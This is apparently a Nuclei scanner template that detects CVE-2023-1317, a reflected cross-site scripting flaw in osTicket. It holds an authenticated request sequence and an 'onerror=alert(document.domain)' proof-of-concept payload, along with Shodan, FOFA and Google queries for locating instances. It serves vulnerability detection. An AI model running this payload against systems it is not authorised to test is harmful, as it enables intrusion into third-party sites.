osTicket < v1.16.6 - Cross-Site Scripting

id: CVE-2023-1317

info:
  name: osTicket < v1.16.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository osticket/osticket prior to v1.16.6.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade osTicket to later version to mitigate this vulnerability.
  reference:
    - https://huntr.com/bounties/c3e27af2-358b-490b-9baf-e451663e4e5f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1317
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-1317
    cwe-id: CWE-79
    epss-score: 0.06469
    epss-percentile: 0.91236
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: osticket
    product: osticket
    shodan-query: title:"osTicket"
    fofa-query: title="osticket"
    google-query: intitle:"osticket"
  tags: cve,cve2023,osticket,xss,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /scp/login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "osticket")'
        internal: true

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1

      - |
        GET /scp/ajax.php/orgs/search?q=osTicket%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<img src=a onerror=alert(document.domain)>")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100ac7426b67e88093ffa0b052e9dc0c42a58812d785dfefd695f69ad03f31e0034022100ae8380d4d17dff1be6dd3e26bfdc936df10892f6ca73814bf29e745dde808fe0:922c64590222798bb761d5b6d8e72950